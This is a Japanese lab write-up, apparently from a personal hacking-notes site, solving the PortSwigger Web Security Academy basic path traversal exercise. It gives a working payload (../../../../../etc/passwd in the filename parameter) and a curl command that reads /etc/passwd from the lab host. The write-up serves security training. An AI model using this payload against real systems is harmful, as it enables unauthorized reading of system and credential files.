> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/path-traversal/basic-path-traversal.md).

# 基本的なパストラバーサル

PortSwigger Web Security Academy のラボ向けメモ。基本的なパストラバーサルに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### ファイルパストラバーサル、簡単なケース

このラボでは、製品画像を表示する際のパストラバーサルの脆弱性を示しています。/ これを解決するには、単に次の内容にアクセスします **/etc/passwd** ファイルに存在するユーザーに対して試します。

画像は次を使用して読み込まれます **filename** パラメータ：

```bash
/image?filename=53.jpg
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a1708318fdef88340bcc011a782ab57c794a85b4%2Fimage%20(249).png?alt=media" alt=""><figcaption></figcaption></figure>

このファイル名を、ディレクトリツリーをさかのぼれるシーケンスに置き換えることで、システムファイルを狙えます:

```bash
/image?filename=../../../../../etc/passwd
```

〜を使った例 **curl**:

{% code overflow="wrap" %}

```bash
curl 'https://0ae100b3030baaee8586042900fd00e8.web-security-academy.net/image?filename=../../../../../etc/passwd'
```

{% endcode %}

このペイロードにより passwd ファイルの内容が表示されるため、ラボを検証できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5eb4ccdb8c0f97f35787955ce336c2c460f96d84%2Fimage%20(250).png?alt=media" alt=""><figcaption></figcaption></figure>


---

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